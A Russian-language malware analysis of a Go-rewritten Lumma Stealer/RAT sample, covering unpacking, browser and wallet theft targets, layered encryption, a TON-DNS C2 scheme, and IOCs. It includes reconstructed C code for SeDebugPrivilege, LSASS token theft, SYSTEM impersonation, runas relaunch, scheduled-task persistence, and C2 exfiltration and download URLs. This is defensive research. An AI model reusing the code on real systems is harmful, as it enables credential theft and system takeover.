MalwareBazaar Sample

2026-07-30

Lumma Stealer/RAT - Go rewrite с TON DNS C2 и RAT-расширениями

Malware Bazaar : 817def15279e2f314118f5d0be272b5b18ebf20b6f140f4384cf6a2b064aaff7

Интереснее разбирать неизвестные семплы, но сегодня я решил начать разбирать последние билды популярных семейств, взял июльский lumma stealer/salat stealer.

Lumma Stealer, переписанный на Go (1.18-1.24). UPX-packed loader (3.43 МБ) \Rightarrow Go binary (11.99 МБ, PE32, i386). Бинарник не стрипнут - .symtab сохранена, pclntab содержит полные имена функций. Основная функция main_Steal собирает данные из ≈120 браузеров и кошельков, упаковывает в zip, шифрует многослойной схемой (AES-GCM + XOR + rolling XOR) и отправляет на C2 по raw TCP. Backup C2 хранятся в TON blockchain, резолвятся через tonapi.io и ton.access.orbs.network. Дополнительно скачивает RDP-тулкит и ffmpeg с GitLab.


1 | Предварительный анализ

1.1 | Loader

DiE на оригинальном файле:

Fig. 1 | PE32, GUI, i386. Section #0 (“UPX0”) has RWX + IAT directory empty

3.43 МБ, UPX-packed. upx -d \Rightarrow распакованный Go binary.

1.2 | Распакованный бинарь

DiE:

Fig. 2 | Unpacked binary (x32, gui, go, IAT empty)

1.3 | Секции и энтропия

PEbear:

Fig. 3 | 6 секций: .text, .rdata, .data, .idata, .reloc, .symtab (!) + not packed
Fig. 4 | Characteristics: wiped TimeDateStamp
Fig. 5 | Sections

Наличие .symtab критически важно: после AlphaGolang все функции получат имена и можно будет адекватно читать декомпил.

2 | Go runtime и навигация

2.1 | Дохуя функций

Go бинарник содержит ≈28000 функций. AlphaGolang (скрипты 1-4) переименовывает их все по pclntab и раскладывает по папкам. После этого в Shift+F3: runtime/* - тысячи функций GC, scheduler, memory allocator ; internal/*, syscall/* - обертки над WinAPI ; main/* - пользовательский код (≈30 функций)

2.2 | Entry point: rt0_go

IDA показывает start_0 - это runtime.rt0_go, bootstrap горутины #0. Код:

  1. CPUID-детектор: проверка ID flag в EFLAGS (поддержка cpuid), vendor string "GenuineIntel" (EBX:EDX:ECX = 0x756E6547:0x49656E69:0x6C65746E), feature bit 23 (MMX). Без MMX \Rightarrow exit с сообщением
  2. TLS-инициализация: __readfsdword(dword_FE3458) - Go хранит указатель на текущую goroutine g в TLS-слоте (на стек горутины, т.к стек инициализируется в го самостоятельно)
  3. Стек g0: записывает границы стека в структуру g0 (stack.lo, stack.hi, stackguard0, stackguard1)
  4. Цепочка инициализации: schedinit() \Rightarrow args() \Rightarrow newproc(runtime.main) \Rightarrow mstart()

newproc создает горутину для runtime.main, которая внутри вызывает main.main.

2.3 | main.main

void __cdecl main_main()
{
  // ... stack check prologue ; в каждой go функции

  sub_443E30();     // runtime init: DuplicateHandle, GetCurrentThreadId,
                    // CreateWaitableTimerExW, VirtualQuery - все runtime
  sub_443F30(1);    // runtime exit: thread cleanup понятно по "exitThread", "locked m0 woke up"
}
//обе функции рантайм

Интересующий нас код запускается через runtime.newproc как горутины (интересно, что в горутинах отдельно происходят LdrLoadDll, т.е можно увидеть как условная kernel32.dll загружается трижды, по одной в горутину). В списке символов: main.main.func1..func8, main.main.gowrap1..gowrap3 - 8 анонимных функций/замыканий, 3 из которых запускаются через go keyword (было понятно и ДО применения AlphaGolang скриптов, но без них невозможно было посмотреть декомпил из-за того, что ида плохо справляется с го бинарниками).

2.4 | Паттерн stack check

В начале каждой Go-функции:

if ( (unsigned int)&retaddr <= *(_DWORD *)(*(_DWORD *)__readfsdword(dword_FE3458) + 8) ) 
    runtime_morestack_noctxt();

Проверка: если текущий ESP ниже stackguard0 - вызвать morestack для расширения стека. Никак не решает в разборе, просто интересный факт, как и весь второй раздел, по сути.


3 | Конфигурация стилера

Четыре функции main_map_init_0..3 инициализируют глобальные словари (Go map[string]string):

3.1 | map_init_0 - крипто-кошельки (11 записей)

"Zcash"        => "Zcash"
"Exodus"       => "Exodus\\exodus.wallet"
"Ethereum"     => "Ethereum\\keystore"
"Electrum"     => "Electrum\\wallets"
"AtomicWallet" => "atomic\\Local Storage\\leveldb"
"Guarda"       => "Guarda\\Local Storage\\leveldb"
...

Ключ - имя кошелька, значение - относительный путь в %APPDATA%:

Fig. 6 | AlphaGolang, применены скрипты 1,2. Видно класс функций main, в которых и находится логика малвари.

3.2 | map_init_1 - browser extensions (62 записи)

Загружается из статического массива off_C94ED8. 62 элемента - extension ID для MetaMask, Phantom, Keplr и прочих крипторасширений Chromium:

Fig. 7 | Browser Extensions IDs

3.3 | map_init_2 - Gecko-браузеры (10 записей)

"Waterfox"    => "Roaming\\Waterfox\\Profiles"
"K-Meleon"    => "Roaming\\K-Meleon\\Profiles"
"Thunderbird" => "Roaming\\Thunderbird\\Profiles"
"Pale Moon"   => "Roaming\\Moonchild Productions\\Pale Moon\\Profiles"
"BlackHaw"    => "Roaming\\NETGATE Technologies\\BlackHaw\\Profiles"
"Mercury"     => "Roaming\\mercury\\Profiles"
и т.д
Fig. 8 | Gecko class

3.4 | map_init_3 - Chromium-браузеры (37 записей)

Из массива off_C942D0. Chrome, Edge, Brave, Opera, Vivaldi, Yandex Browser и другие - пути к User Data:

Fig. 9 | Chromium class (Opera in the top right corner, заметил поздно, скрин плохой)

4 | main_Steal - кор функционал стилера

Функция main_Steal - монолит на ≈600 переменных. Принимает cfg_flags (конфигурационные флаги), создает zip-архив в памяти и последовательно заполняет его.

4.1 | Сбор системной информации

UserInformation.txt => zip

Содержимое: timestamp (2006-01-02 15:04:05), разрешение экранов (до 10 мониторов), CPU count, isAdmin, hostname, username, OS version, GPU, RAM, AV product, installed apps, display info. Глобальные переменные dword_FC24xx заполняются при инициализации.

4.2 | Скриншоты

for (i = 0; i < 5; i++) {
    screen = main_getScreen(i);
    // => "Monitor N.jpg" в zip
}

4.3 | Telegram

Три метода поиска tdata:

  1. %APPDATA%: Telegram Desktop\tdata
  2. UWP: сканирует Local\Packages, ищет директории содержащие "TelegramDesktop", формирует путь LocalCache\Roaming\Telegram Desktop UWP\tdata
  3. Реестр: SOFTWARE\Classes\tg\shell\open\command \Rightarrow парсит путь к Telegram.exe \Rightarrow dirname \Rightarrow tdata
  4. Процессы: main_processes() \Rightarrow ищет запущенные процессы, совпадающие с off_FAFE68 (список имен), получает путь через main_GetProcessPath \Rightarrow tdata

Для каждого найденного tdata архивируются подпапки по списку g_tdata_subfolders (off_FAFE78).

4.4 | Discord и Steam (lol)

main_getDiscord() => "Clients\\DiscordTokens.txt"
main_getSteams()  => "Clients\\SteamTokens.txt"

4.5 | Крипто-кошельки

Итерация по g_wallet_map (dword_FC1AD0). Для каждого кошелька проверяется %APPDATA%\<path>. Специальная обработка для кошельков с именем "Ethereum" (0x6F72654D + 0x6E696165 - little-endian check): сканирует содержимое директории, ищет файлы password и wallet (case-insensitive через strings.ToLower).

4.6 | Chromium-браузеры

Для каждого браузера из g_chromium_browser_map:

  1. path_filepath_join(browser_path, "Login Data") \Rightarrow проверка существования
  2. path_filepath_join(browser_path, "Local State") \Rightarrow main_GetChromiumMasterKeys (AES-GCM key из DPAPI)
  3. main_getChrome(path, keys, ...) \Rightarrow возвращает cookies, logins, tokens, autofill

\Rightarrow

Browsers/Cookies_<name>R.txt
Browsers/Logins_<name>R.txt
Browsers/Token_<name>R.txt
Browsers/Autofills_<name>R.txt

Для каждого профиля внутри браузера (обход подпапок, поиск "Default" по dword 0x20666544 + 0x746C7561) - отдельный набор файлов с постфиксом _<profile>.txt.

4.7 | Browser extensions

Для каждого профиля: Local Extension Settings \Rightarrow сканирует подпапки \Rightarrow сопоставляет с g_extension_map (62 extension ID).

4.8 | Gecko-браузеры

Аналогично Chromium, но через main_GetGeckoMasterKey и main_getGecko. Файлы:

Browsers/Cookies_<name>_<profile>.txt
Browsers/Logins_<name>_<profile>.txt

4.9 | Эксфильтрация

b64_data = base64_encode(zip_buffer);
json = {
    "hwid":     off_FBCC08,       // hardware ID
    "username": dword_FC2420,     // username
    "s":        "0" или "1",      // is_repeat flag
    "data":     b64_data           // base64(zip), лимит 100mb
};
encrypted = main_dec(json, 5);    // mode 5: XOR key => rolling XOR
response  = main_rq(encrypted);   // отправка на C2

if (response != "1") {
    main_changeEndpoint(0, 1);    // ротация C2
    time_Sleep(705032704, 1);     // 0.7 сек
    // retry loop
}

5 | Шифрование - main_dec

Рекурсивная функция с параметром mode:

5.1 | Mode 0 - инициализация ключей

// логика формирования ключа
for (k = 0; k < xor_key_len; k++)
    xor_key[k] ^= username[k % username_len];

// RSA модуль из 128-элементной таблицы
for (i = 0; i < 128; i++) {
    value = (4 * i) ^ ROL4(table[i+1], -4*i);
    result[i] = bswap32(value ^ 0x9E3779B9);  // golden ratio? 
}
// => math/big.Int, сохраняется в g_rsa_modulus

Константа 0x9E3779B9 - маркер TEA/XTEA семейства шифров.

5.2 | Mode 1 - AES-GCM

cipher = crypto_aes_NewCipher(g_aes_key);
gcm    = crypto_cipher_NewGCM(cipher);
// стандартная Go-криптография

5.3 | Mode 2 - Rolling XOR

for (j = 1; j < data_len; j++)
    buf[j] ^= buf[j-1];

5.4 | Mode 3 - XOR с ключом

for (i = 0; i < data_len; i++)
    buf[i] ^= xor_key[i % xor_key_len];

5.5 | Mode 4 - цепочка decrypt

dec(data, 2);  // rolling XOR
dec(result, 3); // XOR с ключом

5.6 | Mode 5 - цепочка encrypt (используется в main_Steal)

dec(data, 3);  // XOR с ключом
dec(result, 2); // rolling XOR

5.7 | Получение ключей

Ключи не захардкожены. В main_main:

// AES key
seed = aTrue[104];  // 4 байта из .rdata
hash = main_md5str(seed, 4);
aes_key = dec(hash, 2);  // rolling XOR

// XOR key (зависит от AES key)
xor_key = dec(encrypted_blob, 1);  // AES-GCM decrypt

Цепочка зависимостей: seed \Rightarrow MD5 \Rightarrow rolling XOR \Rightarrow AES key \Rightarrow AES-GCM decrypt \Rightarrow XOR key. В статике воспроизвести можно, но проще в динамике.


6 | C2-инфраструктура

6.1 | main_c2Server - raw TCP

time_Sleep(delay * 1000000000);
conn = net_Dial("tcp", addr);
// отправка данных с префиксным байтом (тип команды)

Не HTTP - прямое TCP-соединение через Go net.Dial.

6.2 | main_changeEndpoint - ротация

Три уровня fallback через g_fallback_state (0 \Rightarrow 1 \Rightarrow 2):

State Действие Каналы
0 main_getBC(1) \Rightarrow main_getBC(3) HTTP + TON
1 main_getBC(1) \Rightarrow main_getBC(3) (повтор) HTTP + TON
2 main_getBC(2) \Rightarrow main_getBC(4) другие ключи

Максимум 5 рекурсивных попыток (retry_depth), потом time_Sleep(~60 сек) и сброс

6.3 | main_getBC - RSA + TON DNS

Четыре канала, каждый с отдельным зашитым 129-dword RSA ciphertext:

Канал Ciphertext Метод
1 unk_C962D8 RSA decrypt \Rightarrow AES-GCM \Rightarrow hex \Rightarrow HTTP GET \Rightarrow JSON \Rightarrow decodeFromTonAddress
2 unk_C964DC RSA decrypt \Rightarrow AES-GCM \Rightarrow hex \Rightarrow HTTP GET \Rightarrow JSON \Rightarrow decodeFromTonAddress
3 unk_C966E0 RSA decrypt \Rightarrow AES-GCM \Rightarrow hex \Rightarrow TON DNS resolve (tryTonResolve)
4 unk_C968E4 RSA decrypt \Rightarrow AES-GCM \Rightarrow hex \Rightarrow TON DNS resolve (tryTonResolve)

RSA: math/big.Int.Exp(ciphertext, 65537, g_rsa_modulus). Exponent 65537 - как я понял, стандартный RSA public key. Странно, что RSA вообще кто-то использует когда есть ed25519.

После расшифровки каждый адрес дополняется endpoint-ом

https://{domain}/sa1at/

Каналы 1-2 получают URL paste-сервисов, делают HTTP GET, парсят JSON ответ. Каналы 3-4 резолвят TON-домены через API.


7 | RAT-функционал

Помимо стилера, бинарь содержит полноценный backdoor/RAT. Это не дополнительный модуль - весь код в main.*.

7.1 | Privilege Escalation

Три метода повышения привилегий:

RtlAdjustPrivilege (main_enablePrivilege):

// NTSTATUS ntdll!RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, CurrentThread=FALSE, &prev)

unsigned __int64 main_enablePrivilege()
{
    prev_state = runtime_newobject(sizeof(BOOLEAN));  // выходной параметр

    args = runtime_newobject(4 * sizeof(DWORD));
    args[0] = 20;           // SE_DEBUG_PRIVILEGE
    args[1] = 1;            // Enable = TRUE
    args[2] = 0;            // CurrentThread = FALSE (весь процесс)
    args[3] = prev_state;   // &PreviousState

    ntstatus = syscall_LazyProc_Call(
        off_FAE3F0,          // "RtlAdjustPrivilege" из ntdll
        args, 4, 4
    );

    if (!ntstatus)
        return 0;  // success

    return fmt_Errorf("RtlAdjustPrivilege failed with status: %x", ntstatus);
}
//не пользуемся advapi
NTSTATUS enablePrivilege(void)
{
    BOOLEAN prev_state;
    NTSTATUS status = RtlAdjustPrivilege(
        20,        // SE_DEBUG_PRIVILEGE
        TRUE,      // Enable
        FALSE,     // CurrentThread = FALSE => весь процесс
        &prev_state
    );
    return status;
}

LSASS token theft (main_getSystemToken):

Go-ish :

// Открывает LSASS => dup его токен => SYSTEM token
__int128 main_getSystemToken()
{
    err = main_enablePrivilege();  // SE_DEBUG_PRIVILEGE
    if (err) return error("failed to enable privileges: %v", err);

    lsass_handle = main_findLsassProcess();  // ищет lsass.exe по имени
    if (err) return error("failed to find LSASS process: %v", err);

    // defer: CloseHandle(lsass_handle)

    token = 0;
    err = OpenProcessToken(
        lsass_handle,
        TOKEN_READ | TOKEN_DUPLICATE,  // 0x0A = TOKEN_DUPLICATE(0x02) | TOKEN_QUERY(0x08)
        &token
    );
    if (err) return error("OpenProcessToken failed: %v", err);

    dup_token = 0;
    err = DuplicateTokenEx(
        token,
        TOKEN_ALL_ACCESS,        // 0x000F01FF = 983551
        NULL,                    // lpTokenAttributes
        SecurityImpersonation,   // 2
        TokenPrimary,            // 1
        &dup_token
    );

    CloseHandle(token);

    if (err) return error("DuplicateTokenEx failed: %v", err);

    return dup_token;  // SYSTEM
}

C :

HANDLE getSystemToken(void)
{
    NTSTATUS status = enablePrivilege();
    if (status != 0)
        return INVALID_HANDLE_VALUE;

    // по имени
    DWORD lsass_pid = findLsassProcess();
    if (lsass_pid == 0)
        return INVALID_HANDLE_VALUE;

    HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, lsass_pid);

    HANDLE token;
    BOOL ok = OpenProcessToken(
        process,
        TOKEN_READ | TOKEN_DUPLICATE,  // 0x0A
        &token
    );
    if (!ok) {
        CloseHandle(process);
        return INVALID_HANDLE_VALUE; 
    }

    HANDLE dup_token;
    ok = DuplicateTokenEx(
        token,
        MAXIMUM_ALLOWED,           // 0x000F01FF
        NULL,                      // default security
        SecurityImpersonation,     // impersonation level = 2
        TokenPrimary,              // token type = 1
        &dup_token
    );

    CloseHandle(token);
    CloseHandle(process);

    if (!ok)
        return INVALID_HANDLE_VALUE;  

    return dup_token;
}

UAC bypass (main_Elevate):

ShellExecute(0, L"runas", exe_path, args, cwd, SW_HIDE);
// перезапуск себя через ShellExecute "runas"
// kill_self : если true => убить текущий процесс перед перезапуском
int Elevate(BOOL kill_self)
{
    if (isAdmin())
        return 0;

    char exe_path[MAX_PATH];
    GetModuleFileName(NULL, exe_path, MAX_PATH);

    char cwd[MAX_PATH];
    GetCurrentDirectory(MAX_PATH, cwd);

    // os.Args[1:], склеиваем через пробел
    char *args = joinArgs(g_os_args + 1, g_os_args_count - 1, " ");

    WCHAR *verb_w = UTF16FromString("runas");
    WCHAR *file_w = UTF16FromString(exe_path);
    WCHAR *dir_w  = UTF16FromString(cwd);
    WCHAR *args_w = UTF16FromString(args);

    if (kill_self) {
        TerminateProcess(g_saved_process_handle, 0);
    }

    HINSTANCE result = ShellExecuteW(
        NULL,      // hwnd
        verb_w,    // "runas"
        file_w,    // exe path
        args_w,    // аргументы
        dir_w,     
        SW_HIDE    // 0 без окна
    );

    if ((int)result <= 32) {
        // в си это просто функция-обработчик ошибок, на го это горутина-обработчик
        return (int)result;
    }

    if (kill_self) {
        char mutex_name[256];
        sprintf(mutex_name, "_mutex_%s", g_bot_id);
        HANDLE mutex = CreateMutexA(NULL, FALSE, mutex_name);
        if (mutex)
            g_saved_process_handle = mutex;
    }

    return 0;
}

С mutex-механизмом через gow32.CreateMutex для предотвращения множественных запусков. Если a1 (флаг) установлен - дополнительно вызывает TerminateProcess на текущий PID перед перезапуском.

7.2 | Token Impersonation

main_impersonateSystem:

// Получает SYSTEM token и имперсонирует текущий тред
__int128 main_impersonateSystem()
{
    system_token = main_getSystemToken();
    if (err)
        return err;

    // advapi32!ImpersonateLoggedOnUser(system_token)
    ok = syscall_LazyProc_Call(
        off_FAE3E4,              // "ImpersonateLoggedOnUser"
        {system_token}, 1, 1
    );

    if (ok)
        return system_token;     // thread has SYSTEM

    CloseHandle(system_token);
    return error("ImpersonateLoggedOnUser failed: %v", err);
}
HANDLE impersonateSystem(void)
{
    HANDLE system_token = getSystemToken();
    if (system_token == INVALID_HANDLE_VALUE)
        return INVALID_HANDLE_VALUE;

    BOOL ok = ImpersonateLoggedOnUser(system_token);
    if (!ok) {
        CloseHandle(system_token);
        return INVALID_HANDLE_VALUE;  
    }

    return system_token;  // thread has system
}

main_DuplicateUserTokenFromSessionID:

// получаем токен залогиненного юзера по Session ID (для RDP/console sessions)
__int128 main_DuplicateUserTokenFromSessionID(int session_id)
{
    user_token  = runtime_newobject(sizeof(HANDLE));  // out
    dup_token   = runtime_newobject(sizeof(HANDLE));  // out
    token_ptr   = user_token;

    // wtsapi32!WTSQueryUserToken(session_id, &user_token)
    args = runtime_newobject(2 * sizeof(DWORD));
    args[0] = session_id;
    args[1] = token_ptr;

    ok = syscall_LazyProc_Call(off_FAE348, args, 2, 2);
    if (!ok)
        return error("call native WTSQueryUserToken: %s", err);

    // advapi32!DuplicateTokenEx
    args2 = runtime_newobject(6 * sizeof(DWORD));
    args2[0] = *user_token;
    args2[1] = TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY;  // 25 = 0x19
    args2[2] = 0;                // lpTokenAttributes = NULL
    args2[3] = 1;                // SECURITY_IMPERSONATION_LEVEL = SecurityIdentification? (or maybe index)
    args2[4] = 1;                // TOKEN_TYPE = TokenPrimary
    args2[5] = dup_token;        // &phNewToken

    ok = syscall_LazyProc_Call(off_FAE34C, args2, 6, 6);
    if (!ok)
        return error("call native DuplicateTokenEx: %s", err);

    err = CloseHandle(*user_token);
    if (err)
        return error("close windows handle used for token duplication: %s", err);

    return *dup_token;
}
HANDLE DuplicateUserTokenFromSessionID(DWORD session_id)
{
    HANDLE user_token;
    BOOL ok = WTSQueryUserToken(session_id, &user_token);
    if (!ok)
        return INVALID_HANDLE_VALUE; 

    HANDLE dup_token;
    ok = DuplicateTokenEx(
        user_token,
        TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,
        NULL,                      // default security
        SecurityImpersonation,
        TokenPrimary,
        &dup_token
    );

    if (!ok) {
        CloseHandle(user_token);
        return INVALID_HANDLE_VALUE;  
    }

    BOOL close_ok = CloseHandle(user_token);
    if (!close_ok)
        return INVALID_HANDLE_VALUE;  "

    return dup_token;
}

Это дает возможность запускать процессы от имени SYSTEM / любого залогиненного пользователя.

7.3 | Persistence - Scheduled Tasks

main_newTask использует Go-библиотеку github.com/capnspacehook/taskmaster:

taskmaster_ConnectWithOptions(...);
taskmaster_TaskService_NewTaskDefinition(...);
// taskmaster (go lib) == COM обёртка над ITaskService
// Trigger: каждые 30 дней, повторение каждые 3 минуты
date_period_New(0, 0, 30, 0, 0, 0);  // 30 days
date_period_New(0, 0, 0, 0, 3, 0);   // 3 minutes repetition

taskmaster_TaskService_CreateTask(...);
// Windows Task Scheduler
void newTask(const char *exe_path, const char *task_name)
{
    TaskService *ts = taskmaster_Connect();
    if (!ts) return;

    TaskDefinition *td = ts->NewTaskDefinition();

    char working_dir[MAX_PATH];
    dirname(exe_path, working_dir);

    ExecAction action = {
        .Path             = exe_path,
        .WorkingDirectory = working_dir,
    };
    td->Actions.Add(&action);

    CalendarTrigger trigger1 = {
        .Enabled        = TRUE,
        .StartBoundary  = time_Now(),
        .EndBoundary    = time_Now() + days(30),
        .Repetition     = {
            .Interval = minutes(3),
            .Duration = days(30),
        },
    };

    LogonTrigger trigger2 = {
        .Enabled        = TRUE,
        .Repetition     = {
            .Interval = minutes(3),
            .Duration = days(30),
        },
    };

    td->Triggers.Add(&trigger1);
    td->Triggers.Add(&trigger2);

    // первый раз пробуем от SYSTEM (TASK_LOGON_SERVICE_ACCOUNT = 3)
    char full_name[256];
    sprintf(full_name, "\\%s", task_name);

    BOOL created = ts->CreateTask(full_name, td, TASK_LOGON_SERVICE_ACCOUNT);

    if (!created) {
        // либо от пользователя
        char *username = os_user_Current();

        td->Principal.UserId = username;
        td->Principal.LogonType = TASK_LOGON_INTERACTIVE_TOKEN;  // 0

        ts->CreateTask(full_name, td, TASK_LOGON_INTERACTIVE_TOKEN);
    }

    ts->Release();
}

7.4 | SOCKS5 Proxy

main_proxy - TCP relay:

conn1 = net_Dial("tcp", c2_addr); 
// читает 1 байт (длину), потом N байт (таргет)
conn2 = net_Dial("tcp", target_addr);
go main_copyConn(conn1, conn2);         // горутина: связь relay C2 и target
main_copyConn(conn2, conn1);            // связь между relay target и  C2

Первый байт отправляемых данных = 0x01 (тип команды). Малварь может работать как SOCKS5 прокси для оператора - main__socks5Conn_Serve \Rightarrow handshake \Rightarrow processRequest.

7.5 | Anti-Duplication

main_checkDupe - проверка на дублирование бинаря:

  1. Собирает пути: $ProgramW6432, $programfiles, $programfiles(x86), $localappdata + вариант с Program Files / Program Files (x86)
  2. Проверяет, лежит ли файл в одном из этих путей (case insensitive)
  3. Проверяет размер файла (os.Stat)
  4. Считает md5 файла и сравнивает с ожидаемым хешем

MD5 init values видны явно:

*v13     = 0x67452301;   // A
v13[1]   = 0xEFCDAB89;   // B
v13[2]   = 0x98BADCFE;   // C
v13[3]   = 0x10325476;   // D

Если хеш не совпадает - файл подменен или это другая копия.


8 | Динамический анализ

8.1 | Инструменты

FakeNet-NG, x64dbg + ScyllaHide

8.2 | Go и Winsock

Go не использует WinINet (InternetOpenW, HttpSendRequestA). Весь networking через Winsock: ws2_32.WSASocketW \Rightarrow ws2_32.connect / mswsock.ConnectEx. DNS через DoH: dns.google, cloudflare-dns.com.

8.3 | x64dbg - проблемы

  1. Exceptions: Go runtime использует exceptions для stack growth. x64dbg останавливается на каждом; Shift+F9 (pass to application) или Options \Rightarrow Preferences \Rightarrow Exceptions \Rightarrow Ignore
  2. ScyllaHide: даже с включенным ScyllaHide - first chance exception на 0x5a8a50, после чего дебаггинг невозможен
  3. WinDbg: дамп через Process Hacker \Rightarrow анализ через WinDbg. Команда s -a 0 L?80000000 "sa1at" для поиска строк

8.4 | Результаты pcap

Fig. 10 | fakenet-ng .pcap

Хронология:

[  0s] DNS: www.msftconnecttest.com     - проверка наличия интернета
[ 22s] DNS: cloudflare-dns.com          - DoH резолвер
[ 85s] DNS: sa1atik.cn $\Rightarrow$ 192.0.2.123   - primary C2
[ 85s] TCP: 192.0.2.123:443            - попытка подключения (SYN, no SYN-ACK)
[109s] DNS: sa1atik.cn (retry)          - повторная попытка
[134s] DNS: tonapi.io                   - fallback: TON API (канал 1)
[134s] TCP: 192.0.2.123:443            - попытка подключения к tonapi.io
[155s] DNS: ton.access.orbs.network     - fallback: TON Access (каналы 3-4)
[155s+] множественные retries ton.access.orbs.network

Все TCP-соединения - SYN без SYN-ACK (FakeNet не отвечал на TCP). HTTP-тела запросов отсутствуют. Можно было настроить ответы… наверное.


9 | IOCs

9.1 | C2

https://sa1atik.cn/sa1at/                   # primary C2

9.2 | TON DNS

remoteadministratortool.ton                  # TON-домен с backup C2-адресами

9.3 | TON API endpoints

https://tonapi.io/v2/dns/remoteadministratortool.ton/resolve
https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/runGetMethod

9.4 | DoH резолверы

https://dns.google/resolve?name=<domain>&type=A
https://cloudflare-dns.com/dns-query?name=<domain>&type=A

9.5 | GitLab - загрузка дополнительных инструментов

https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe //для незаметной эксфильтрации данные пакуются и отправляются архивами
https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll
https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe        // запись экрана/аудио
https://gitlab.com/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll   // RDP-библиотека
https://gitlab.com/webrat1/importantfiles/-/raw/main/MSTSCLib.dll      // RDP-библиотека

9.6 | Проверка геолокации

kremlin.ru        # проверка на ру регион, семпл = zapret.exe => актуален только в России

9.7 | Сетевая проверка

www.msftconnecttest.com     # connectivity
dns.msftncsi.com

9.8 | Endpoint pattern

/sa1at/

9.9 | Hashes

SHA256 packed    :   817def15279e2f314118f5d0be272b5b18ebf20b6f140f4384cf6a2b064aaff7
SHA256 unpacked  : todo

9.10 | Стилер-конфигурация


10 | Ошибки

10.1 | Go runtime

Первые часы ушли на разбор start_0 \Rightarrow sub_443E30 \Rightarrow sub_43B2A0. Увидев DuplicateHandle, GetCurrentThreadId, CreateWaitableTimerExW, VirtualQuery - принял за малварный код. Все оказалось runtime_init потоков. Разделение runtime/malware: DuplicateHandle - это runtime.minit, а не injection. Детект: строки "exitThread", "m not found in allm", "locked m0 woke up" schduler.

10.2 | fs:[offset] != PEB

__readfsdword(dword_FE3458) - принял за обращение к PEB (fs:[0x30]). При более детальном анализе main_main стало понятно, что это на самом деле go TLS-слот: dword_FE3458 содержит offset, записанный в rt0_go при инициализации. Через него Go получает указатель на текущую goroutine g. Подсказка: PEB читается по фиксированному offset fs:[0x30], а здесь offset - переменная.

10.3 | Горутины, main_main

main_main содержит только runtime-вызовы. Пользовательский код запускается через runtime.newproc (goroutines)

10.4 | Статика в извлечении ключей

Попытка вытащить AES/XOR ключи из IDA через idc.get_wide_dword(0xFAFE28) - оба указателя содержат одинаковое значение (16091616), длины = 0. Причина: это Go slice headers, заполняемые в runtime. Ключи деривируются цепочкой: seed \Rightarrow MD5 \Rightarrow rolling XOR \Rightarrow AES \Rightarrow XOR key. Проще извлечь в динамике через дамп памяти.

10.5 | FakeNet-NG и TCP

FakeNet работал, но не перехватывал TCP-соединения (SYN без SYN-ACK в pcap). Из-за этого HTTP-тела запросов к tonapi.io и ton.access.orbs.network отсутствуют. Для полного перехвата нужно настроить FakeNet в режиме, который отвечает на TCP.


11 | Итог

Семпл позиционируется как Lumma Stealer, но фактически это полноценный RAT с функционалом стилера (там более 100 функций в main классе, я перечислил далеко не все детали, хотя скорее всего все самое важное).

Функционал : LSASS token theft + ImpersonateLoggedOnUser для SYSTEM-привилегий, RtlAdjustPrivilege для SE_DEBUG_PRIVILEGE, UAC bypass через ShellExecute("runas"), persistence через scheduled tasks (30 дней, повтор каждые 3 минуты), SOCKS5 proxy для оператора, anti-duplication через MD5-верификацию бинаря. GitLab-репо webrat1/importantfiles содержит RDP-библиотеки (AxMSTSCLib.dll, MSTSCLib.dll) и ffmpeg.exe - дополнительный RAT-тулкит, 7zip.

Go-библиотеки, использованные автором:

TON-домен remoteadministratortool.ton, C2 использует TON blockchain DNS для хранения доп. адресов, что позволяет им оставаться на плаву сколько угодно, все по книжкам RedSecOps.

Шифрование многослойное (AES-GCM + XOR + rolling XOR + RSA), но не усложненное - все алгоритмы стандартные. Единственная нестандартная часть - деривация ключей через TEA-подобную таблицу с 0x9E3779B9.

Много функционала осталась неразобранной - main.main.func1..func8 содержат дополнительную логику, которая может включать еще больше RAT-возможностей, но идея понятна